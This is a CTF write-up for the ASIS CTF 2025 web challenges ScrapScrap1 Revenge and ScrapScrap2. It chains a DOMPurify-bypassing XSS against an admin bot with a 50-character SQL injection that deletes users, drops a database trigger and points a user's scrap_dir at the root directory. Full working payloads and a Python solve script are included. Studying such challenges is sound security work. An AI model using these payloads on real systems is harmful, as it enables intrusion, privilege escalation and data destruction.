2367 words
12 minutes
ASIS CTF 2025 - Web ScrapScrap1 Revenge & ScrapScrap2 Writeup

Hello all, I played this CTF with UofTCTF and we solved this with the power of friendship.

Gist of it#

This challenge has 2 flags, one requiring our role to be set to user in the database and the other requiring us to set our scrap_dir to / to view the flag on the server.

The big idea is that we have a bot we can XSS at /checker?url=payload to create a log at /debug/create_log to perform SQLI.

Important Code#

SteakEnthusiast figured out most of this part.

If we can cause an error, i.e. getting it to wait longer than 8 seconds, we can get XSS. This is because we can create a payload that gets past DOMPurify and once an error happens .textContent in the somethingWentWrong function will take our payload and put malicious HTML on the page.

/src/public/checker.js
async function main() {
  const params = new URLSearchParams(window.location.search);
  const url = params.get("url");
  if(url) {
    setTimeout(() => {
      somethingWentWrong();
    }, 8000);
    document.getElementById("div_url").style.visibility = 'visible';
    let url_cleaned = DOMPurify.sanitize(url);
    document.getElementById("msg_url").innerHTML = url_cleaned;
    const input = document.createElement("input");
    input.name = "url";
    input.type = "url";
    input.id = "input_url"
    input.required = true;
    input.value = url;
    const form = document.getElementById("scrap_form");
    form.appendChild(input);
    form.submit();
  } else {
    document.getElementById("div_url").remove();
    document.getElementById("error_url").remove();
    document.getElementById("input").innerHTML = '<input name="url" type="url" required placeholder="https://exemple.com" />';
  }
}
function somethingWentWrong() {
  let url = document.getElementById("msg_url").textContent;
  let error = document.getElementById("error_url");
  error.style.visibility = 'visible';
  error.innerHTML = `Something went wrong while scrapping ${url}`;
}
main();

Useful note: /me allows you to get your id and you can use it to save characters in your SQL query.

auth.js
router.post('/debug/create_log', requireAuth, (req, res) => {
  if(req.session.user.role === "user") {
    //rework this with the new sequelize schema
    if(req.body.log !== undefined
      && !req.body.log.includes('/')
      && !req.body.log.includes('-')
      && req.body.log.length <= 50
      && typeof req.body.log === 'string') {
        database.exec(`
          INSERT INTO logs
          VALUES('${req.body.log}');
          SELECT *
          FROM logs
          WHERE entry = '${req.body.log}'
          LIMIT 1;
        `, (err) => {});
    }
    res.redirect('/');
  } else {
    res.redirect('/checker');
  }
});

The flag is accessible to us if we can set our role to be user.

// scrap.ejs
<% if (user.username != "superbot") { %>
  <p>Goodjob, the flag is: ASIS{FAKE_FLAG1}</p>
<% } else { %>
  <p>Welcome owner :heart:</p>
<% } %>
<h2>Scrapper</h2>
<form action="/scrap/run" method="post" class="card">
  <label>Website you want to scrap
    <input name="url" type="url" required placeholder="https://exemple.com" />
  </label>
  <button>Scrap scrap scrap !</button>
</form>

Story of the Solve#

Flag 1#

Initial Findings#

Ibrahim and I started looking at this challenge together and we immediately looked for how to get flag 1. We saw that it was in scrap.ejs, accessible at /scrap, and that we needed our username to not be superbot.

app.js
app.use('/', authRouter);
app.use('/checker', checkerRouter);
app.use('/files', requireUser, filesRouter);
app.use('/scrap', requireUser, scrapRouter);

There’s also this condition where we needed our role to be user. By default, when we create a new account, our role is set to demo which can be see in db.js.

db.js
async function initDb() {
  await getDb();
  await exec(`
    PRAGMA foreign_keys = ON;
    CREATE TABLE IF NOT EXISTS users (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      username TEXT NOT NULL UNIQUE,
      password TEXT NOT NULL,
      data_dir TEXT NOT NULL UNIQUE CHECK(length(data_dir)=8),
      scrap_dir TEXT NOT NULL UNIQUE,
      role TEXT NOT NULL DEFAULT 'demo'
    );
    CREATE TABLE IF NOT EXISTS logs (
      entry TEXT NOT NULL
    );
    CREATE TRIGGER IF NOT EXISTS users_immutable_dirs
    BEFORE UPDATE ON users
    FOR EACH ROW
    WHEN NEW.data_dir IS NOT OLD.data_dir OR NEW.scrap_dir IS NOT OLD.scrap_dir
    BEGIN
      SELECT RAISE(ABORT, 'data_dir and scrap_dir are immutable');
    END;
  `);.
... (skipping code fr fr)
  await database.query(`
    UPDATE users SET role='user' WHERE id=1; // the bot is made a user
  `);
}

SQL Injection?#

Alright, so the next thing we found was in auth.js, where we could potentially perform SQL injection.

You’ll notice that this can only be used if your account’s role is user, so this is where we have to use XSS on the bot. The biggest problem here though is that our input is used TWICE and the changes only happen if the whole query is valid.

auth.js
router.post('/debug/create_log', requireAuth, (req, res) => {
  if(req.session.user.role === "user") {
    //rework this with the new sequelize schema
    if(req.body.log !== undefined
      && !req.body.log.includes('/')
      && !req.body.log.includes('-')
      && req.body.log.length <= 50
      && typeof req.body.log === 'string') {
        database.exec(`
          INSERT INTO logs
          VALUES('${req.body.log}');
          SELECT *
          FROM logs
          WHERE entry = '${req.body.log}'
          LIMIT 1;
        `, (err) => {});
    }
    res.redirect('/');
  } else {
    res.redirect('/checker');
  }
});

You can see that there are restrictions as well, so we cannot comment stuff out because / and - are not allowed to be included and the payload must be at most 50 chars in length.

I spent a good 5 hours trying to get something to work, but my GOAT nullptr flew in to save the day and suggested using quotes to consume parts of the query. Something of this form ') ... ' and SteakEnthusiast came up with:

);UPDATE users SET role="user";SELECT "1"||'
INSERT INTO logs
VALUES(');UPDATE users SET role="user";SELECT "1"||'');
SELECT *
FROM logs
WHERE entry = ');UPDATE users SET role="user";SELECT "1"||''
LIMIT 1;

As we can see, this payload works because it turns the first part into a string and terminates the statement. Then we can run our injected payload which turns everyone into a user.

Now, we needed to get the XSS to work properly.

XSS#

The file of interest here is checker.js, this allows us to send the bot to some link, but also XSS it because of the url parameter from earlier.

/src/routes/checker.js
const express = require('express');
const { requireAuth } = require('../middleware');
const { visitUserWebsite } = require('../services/bot');
const router = express.Router();
router.get('/', requireAuth, async (_, res) => {
  res.render('checker');
});
router.post('/visit', requireAuth, async (req, res) => {
  const { url } = req.body;
  try {
    if(!url.startsWith("http://") && !url.startsWith("https://")) {
      req.session.flash = { type: 'error', message: 'Invalid URL.' };
    } else {
      await visitUserWebsite(url, req.session.user.data_dir);
      req.session.flash = { type: 'success', message: 'Your website can definitely be scrap, be careful...' };
    }
  } catch (e) {
    console.log(e);
    req.session.flash = { type: 'error', message: `An error occured.` };
  }
  res.redirect('/checker');
});
module.exports = router;

We can see that we need the bot to visit /checker?url=http://localhost:3000/<malicious> and after that, we can have our malicious img tag inserted to do XSS.

Ibrahim figured that you can just set up a server that takes like 10 seconds to respond so that the error will trigger. Once you have that you can append a payload like this to it:

http://<host>/%26lt%3Bimg%20src%3D%27x%27%20onerror%3Dalert%281%29%26gt%3B

Which is just this url-encoded

&lt;img src='x' onerror=alert(1)&gt; -> <img src='x' onerror=alert(1)>

From what I interpreted from SteakEnthusiast’s explanation, the reason why we use &lt; and &gt; is because DOMPurify thinks it is safe, so it lets it pass through, and something happens with .textContent and .innerHTML in somethingWentWrong that causes it to render.

Alright, so now that we have all of this, we can build our malicious URL. We are sending it to localhost:3000 because that is the port the service is running on for the bot.

http://localhost:3000/checker?url=https://{HOST_THAT_TAKES_10_SECONDS_TO_RESPOND}/{XSS_PAYLOAD}
http://localhost:3000/checker?url=http://{HOST_THAT_TAKES_10_SECONDS_TO_RESPOND}/%26lt%3Bimg%20src%3Dx%20onerror%3D%22eval(atob(%27ICBjb25zdCBwYXlsb2FkID0geyJsb2ciOiAiKTtVUERBVEUgdXNlcnMgU0VUIHJvbGU9XCJ1c2VyXCI7U0VMRUNUIFwiMVwifHwnIn07DQogICAgZmV0Y2goIi9kZWJ1Zy9jcmVhdGVfbG9nIiwgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgaGVhZGVyczogew0KICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIg0KICAgICAgICB9LA0KICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShwYXlsb2FkKSwNCiAgICAgICAgY3JlZGVudGlhbHM6ICJpbmNsdWRlIg0KICAgIH0p%27))%22%0A%2F%26gt%3B

URL Decoded payload

&lt;img src=x onerror="eval(atob('ICBjb25zdCBwYXlsb2FkID0geyJsb2ciOiAiKTtVUERBVEUgdXNlcnMgU0VUIHJvbGU9XCJ1c2VyXCI7U0VMRUNUIFwiMVwifHwnIn07DQogICAgZmV0Y2goIi9kZWJ1Zy9jcmVhdGVfbG9nIiwgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgaGVhZGVyczogew0KICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIg0KICAgICAgICB9LA0KICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShwYXlsb2FkKSwNCiAgICAgICAgY3JlZGVudGlhbHM6ICJpbmNsdWRlIg0KICAgIH0p'))"
/&gt;

Base64 payload

const payload = {"log": ");UPDATE users SET role=\"user\";SELECT \"1\"||'"};
fetch("/debug/create_log", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(payload),
credentials: "include"
})

So, sending the bot here will make it set everyone’s role to user and we will be able to see the flag at the /scrap route.

Flag 2#

Alright, so flag 2 is on the server, how can we view it? We figured it was something to do with files.js

files.js
router.get('/:scrapname/:subpath(*)?', requireAuth, (req, res) => {
  const rootUserDir = req.session.user.scrap_dir;
  const scrapName   = req.params.scrapname;
  const subpath     = req.params.subpath || '';
  const allScraps = listDirectory(rootUserDir);
  if (!allScraps.some(entry => entry.name === scrapName)) {
    req.session.flash = { type: 'error', message: 'This scrap does not exists.' };
    return res.redirect('/files');
  }
 ...
function listDirectory(directory, scrapname = "") {
  let entries = [];
  try {
    if (fs.existsSync(directory)) {
      entries = fs.readdirSync(directory).map(name => ({
        name,
        path: scrapname == "" ? path.join(directory, name).split("/").pop() : scrapname+"/"+path.join(directory, name).split("/").pop()
      }));
    }
  } catch {}
  return entries;
}
...

I assumed we could just change scrap_dir to / and we could get the flag in the root directory. It turned out to be a lot harder than I thought because there is a a trigger set in the database schema that stops us from changing scrap_dir. There is a simple solution though which is to just drop it. Also, if you remember, / is not allowed in the request to /debug/create_log, but we did not remember that piece of info. So, before we rediscovered that quirk, our idea was to send a bunch of requests to setup for changing the scrap_dir to /.

This is how it was laid out:

  1. Delete every other user except for the bot from the database because scrap_dir must be unique and no one else must have it (You can see this in the schema in db.js), otherwise it could interfere with our solution.
  2. Re-register our user
  3. Go to the /me endpoint to get our id to change our specific account’s scrap_dir with the WHERE id= thing
  4. Set our role to "/" i.e. CHAR(47)
  5. Drop the trigger users_immutable_dirs that is preventing us from changing scrap_dir
  6. set scrap_dir=role
  7. change role back to "user" so that we can see the flag at /files

Once we remembered that / was blocked, we knew needed to use CHAR(47) which wouldn’t get filtered, but we didn’t have a lot of characters to spare. Thus, we spent a bunch of time golfing down the query. The big breakthrough was from SteakEnthusiast who figured out that we didn’t really need the "1"|| in SELECT "1"||' and now we have a bunch more characters to our name, enough for CHAR(47).

So we could turn a query like this (50 chars):

);UPDATE users SET role="/" WHERE id=6;SELECT 1||'

into this (50 chars):

);UPDATE users SET role=CHAR(47)WHERE id=6;SELECT'

Also notice how we got rid of the spaces next to WHERE and SELECT.

Here are the queries sent in order without all the extra stuff, I will show you the solve script at the end.

DELETE FROM users WHERE id!=1 -- delete every user except for bot
UPDATE users SET role=CHAR(47)WHERE id={singe_digit_id} -- make our role /
DROP TRIGGER users_immutable_dirs -- make scrap_dir changeable
UPDATE users SET scrap_dir=role -- set scrap_dir="/"
UPDATE users SET role="user"; -- allow ourselves to access /files

With all of this, we are able to go to /files and view flag 2.

Here is the cursed solve script which Ibrahim wrote most of:

import requests
import json, base64
base_url = "http://<host>:4000" # I replaced the host here
session = requests.Session()
def register_user(username, password):
    data = {
        "username": username,
        "password": password
    }
    register_resp = session.post(f"{base_url}/register", data=data)
    login_resp = session.post(f"{base_url}/login", data=data)
def run_sql_query(sql_query):
    # assert len(sql_query) <= 50
    assert "-" not in sql_query
    assert "/" not in sql_query
    js_code = f"""
    let payload = {{"log": "{sql_query}"}};
    fetch("/debug/create_log", {{
        method: "POST",
        headers: {{
            "Content-Type": "application/json"
        }},
        body: JSON.stringify(payload),
        credentials: "include"
    }})
    """
    url = f"http://localhost:3000/checker?url=http://<HOST_THAT_TAKES_10_SECONDS_TO_RESPOND>/%26lt%3Bimg%20src%3Dx%20onerror%3D%22eval(atob(%27{(base64.urlsafe_b64encode(js_code.encode('utf-8')).decode('utf-8')).replace('=', '%3D')}%27))%22%0A%2F%26gt%3B"
    print(f"URL: {url}")
    resp = session.post(f"{base_url}/checker/visit", json={"url": url})
    # print(sql_query[2:-11])
    # resp = session.post(f"{base_url}/run_sql", json={"sql": sql_query[2:-11]})
# Register and Login
register_user("bob123", "bob123")
# Delete all users except bot user
run_sql_query(');DELETE FROM users WHERE id!=1;SELECT 1||\'')
# Register and Login again
register_user("bob123", "bob123")
resp = session.get(f"{base_url}/me").json()
print(resp["id"])
id = resp["id"]
# # Update our role to "~"
# run_sql_query(f');UPDATE users SET role=\\"~\\" WHERE id={id};SELECT 1||\'')
# # DROP trigger
# run_sql_query(f');DROP TRIGGER users_immutable_dirs;SELECT 1||\'')
# # Update scrap_dir
# run_sql_query(');UPDATE users SET scrap_dir=\\"\\"||role;SELECT 1||\'')
# # Set role to "user"
# run_sql_query(');UPDATE users SET role=\\"user\\";SELECT 1||\'')
# Update our role to "/"
run_sql_query(f');UPDATE users SET role=CHAR(47)WHERE id={id};SELECT\'')
# DROP trigger
run_sql_query(f');DROP TRIGGER users_immutable_dirs;SELECT 1||\'')
# Update scrap_dir
run_sql_query(');UPDATE users SET scrap_dir=role;SELECT 1||\'')
# Set role to "user"
run_sql_query(');UPDATE users SET role=\\"user\\";SELECT 1||\'')

And when we login as bob123, the flag is available to us.

Afterthoughts fr fr#

Looking back, we probably didn’t need to change the role to be CHAR(47), after the breakthrough with character saving, we could’ve just set scrap_dir to CHAR(47) directly. Also, we could’ve made this faster once we set our role to user because we can just POST to /debug/create_log/ ourselves instead of having to XSS the bot which takes about 10 seconds each query.

DELETE FROM users WHERE id!=1 -- delete every user except for bot
UPDATE users SET role="user"WHERE id={id} -- make our role user
DROP TRIGGER users_immutable_dirs -- make scrap_dir changeable
UPDATE users SET scrap_dir=CHAR(47) -- set scrap_dir="/"

Anyways, thanks for reading! I had a really fun time doing this challenge with everyone.

ASIS CTF 2025 - Web ScrapScrap1 Revenge & ScrapScrap2 Writeup
https://rizfol.github.io/posts/asis-ctf-2025/scrapscrap1and2/
Author
janky
Published at
2025-09-08
License
CC BY-NC-SA 4.0